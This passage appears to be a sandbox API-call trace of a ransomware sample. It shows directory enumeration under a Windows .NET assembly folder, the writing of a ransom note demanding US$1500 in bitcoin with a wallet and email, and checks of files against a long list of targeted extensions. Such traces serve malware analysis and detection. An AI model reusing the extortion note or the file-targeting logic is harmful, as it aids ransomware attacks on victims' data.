lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Messaging" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging" [0120.189] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.209] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.209] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.209] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.209] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.209] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fff467288233cc4e7abba8e266199106", cAlternateFileName="FFF467~1")) returned 1 [0120.209] lstrcmpA (lpString1=".", lpString2="fff467288233cc4e7abba8e266199106") returned -1 [0120.209] lstrcmpA (lpString1="..", lpString2="fff467288233cc4e7abba8e266199106") returned -1 [0120.209] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\*.*") returned="*.*" [0120.209] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\", lpString2="fff467288233cc4e7abba8e266199106" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106" [0120.210] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.210] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.210] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.211] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.211] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xb5600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Messaging.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.211] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Messaging.ni.dll") returned -1 [0120.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Messaging.ni.dll") returned -1 [0120.211] lstrcmpiA (lpString1="", lpString2="System.Messaging.ni.dll") returned -1 [0120.211] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\*.*") returned="*.*" [0120.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\" [0120.211] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\") returned="" [0120.211] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\HOW TO DECRYPT FILES.txt" [0120.211] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.messaging\\fff467288233cc4e7abba8e266199106\\how to decrypt files.txt")) returned 0xffffffff [0120.211] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.messaging\\fff467288233cc4e7abba8e266199106\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.251] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0120.251] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0120.253] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.253] CloseHandle (hObject=0x90) returned 1 [0120.254] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\", lpString2="System.Messaging.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll" [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.ems") returned 0 [0120.254] lstrlenA (lpString="*.ems") returned 5 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.db") returned 0 [0120.254] lstrlenA (lpString="*.db") returned 4 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.dbf") returned 0 [0120.254] lstrlenA (lpString="*.dbf") returned 5 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.myox") returned 0 [0120.254] lstrlenA (lpString="*.myox") returned 6 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.myo") returned 0 [0120.254] lstrlenA (lpString="*.myo") returned 5 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qbw") returned 0 [0120.254] lstrlenA (lpString="*.qbw") returned 5 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qbb") returned 0 [0120.254] lstrlenA (lpString="*.qbb") returned 5 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qbm") returned 0 [0120.254] lstrlenA (lpString="*.qbm") returned 5 [0120.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qbo") returned 0 [0120.255] lstrlenA (lpString="*.qbo") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qbx") returned 0 [0120.255] lstrlenA (lpString="*.qbx") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qba") returned 0 [0120.255] lstrlenA (lpString="*.qba") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qby") returned 0 [0120.255] lstrlenA (lpString="*.qby") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qbj") returned 0 [0120.255] lstrlenA (lpString="*.qbj") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.ofx") returned 0 [0120.255] lstrlenA (lpString="*.ofx") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.qif") returned 0 [0120.255] lstrlenA (lpString="*.qif") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mye") returned 0 [0120.255] lstrlenA (lpString="*.mye") returned 5 [0120.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mbox") returned 0 [0120.257] lstrlenA (lpString="*.mbox") returned 6 [0120.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.eml") returned 0 [0120.257] lstrlenA (lpString="*.eml") returned 5 [0120.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.pst") returned 0 [0120.257] lstrlenA (lpString="*.pst") returned 5 [0120.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.ost") returned 0 [0120.257] lstrlenA (lpString="*.ost") returned 5 [0120.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.idx") returned 0 [0120.257] lstrlenA (lpString="*.idx") returned 5 [0120.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.dbx") returned 0 [0120.257] lstrlenA (lpString="*.dbx") returned 5 [0120.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.sql") returned 0 [0120.258] lstrlenA (lpString="*.sql") returned 5 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mdb") returned 0 [0120.258] lstrlenA (lpString="*.mdb") returned 5 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.fdb") returned 0 [0120.258] lstrlenA (lpString="*.fdb") returned 5 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.wab") returned 0 [0120.258] lstrlenA (lpString="*.wab") returned 5 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.dat") returned 0 [0120.258] lstrlenA (lpString="*.dat") returned 5 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.txt") returned 0 [0120.258] lstrlenA (lpString="*.txt") returned 5 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.jpeg") returned 0 [0120.258] lstrlenA (lpString="*.jpeg") returned 6 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.jpg") returned 0 [0120.258] lstrlenA (lpString="*.jpg") returned 5 [0120.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.png") returned 0 [0120.258] lstrlenA (lpString="*.png") returned 5 [0120.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.php") returned 0 [0120.263] lstrlenA (lpString="*.php") returned 5 [0120.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.cs") returned 0 [0120.263] lstrlenA (lpString="*.cs") returned 4 [0120.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.cpp") returned 0 [0120.263] lstrlenA (lpString="*.cpp") returned 5 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.rar") returned 0 [0120.264] lstrlenA (lpString="*.rar") returned 5 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.zip") returned 0 [0120.264] lstrlenA (lpString="*.zip") returned 5 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.html") returned 0 [0120.264] lstrlenA (lpString="*.html") returned 6 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.htm") returned 0 [0120.264] lstrlenA (lpString="*.htm") returned 5 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.xlsx") returned 0 [0120.264] lstrlenA (lpString="*.xlsx") returned 6 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.xls") returned 0 [0120.264] lstrlenA (lpString="*.xls") returned 5 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mp4") returned 0 [0120.264] lstrlenA (lpString="*.mp4") returned 5 [0120.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.ppt") returned 0 [0120.264] lstrlenA (lpString="*.ppt") returned 5 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.pptx") returned 0 [0120.265] lstrlenA (lpString="*.pptx") returned 6 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.doc") returned 0 [0120.265] lstrlenA (lpString="*.doc") returned 5 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.dot") returned 0 [0120.265] lstrlenA (lpString="*.dot") returned 5 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.docx") returned 0 [0120.265] lstrlenA (lpString="*.docx") returned 6 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.7z") returned 0 [0120.265] lstrlenA (lpString="*.7z") returned 4 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.tar") returned 0 [0120.265] lstrlenA (lpString="*.tar") returned 5 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.bz2") returned 0 [0120.265] lstrlenA (lpString="*.bz2") returned 5 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.gz") returned 0 [0120.265] lstrlenA (lpString="*.gz") returned 4 [0120.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mkv") returned 0 [0120.266] lstrlenA (lpString="*.mkv") returned 5 [0120.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.eml") returned 0 [0120.266] lstrlenA (lpString="*.eml") returned 5 [0120.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.msg") returned 0 [0120.266] lstrlenA (lpString="*.msg") returned 5 [0120.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.edb") returned 0 [0120.266] lstrlenA (lpString="*.edb") returned 5 [0120.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.accdb") returned 0 [0120.266] lstrlenA (lpString="*.accdb") returned 7 [0120.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.odb") returned 0 [0120.266] lstrlenA (lpString="*.odb") returned 5 [0120.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.java") returned 0 [0120.266] lstrlenA (lpString="*.java") returned 6 [0120.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.asm") returned 0 [0120.266] lstrlenA (lpString="*.asm") returned 5 [0120.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.pfx") returned 0 [0120.267] lstrlenA (lpString="*.pfx") returned 5 [0120.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.pem") returned 0 [0120.267] lstrlenA (lpString="*.pem") returned 5 [0120.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.p12") returned 0 [0120.267] lstrlenA (lpString="*.p12") returned 5 [0120.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.gpg") returned 0 [0120.267] lstrlenA (lpString="*.gpg") returned 5 [0120.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.vsd") returned 0 [0120.267] lstrlenA (lpString="*.vsd") returned 5 [0120.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.odg") returned 0 [0120.267] lstrlenA (lpString="*.odg") returned 5 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.raw") returned 0 [0120.268] lstrlenA (lpString="*.raw") returned 5 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.nef") returned 0 [0120.268] lstrlenA (lpString="*.nef") returned 5 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.svg") returned 0 [0120.268] lstrlenA (lpString="*.svg") returned 5 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.psd") returned 0 [0120.268] lstrlenA (lpString="*.psd") returned 5 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.vmx") returned 0 [0120.268] lstrlenA (lpString="*.vmx") returned 5 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.vmdk") returned 0 [0120.268] lstrlenA (lpString="*.vmdk") returned 6 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.vdi") returned 0 [0120.268] lstrlenA (lpString="*.vdi") returned 5 [0120.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.lay6") returned 0 [0120.269] lstrlenA (lpString="*.lay6") returned 6 [0120.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mpeg") returned 0 [0120.269] lstrlenA (lpString="*.mpeg") returned 6 [0120.269] PathMatchSpecA 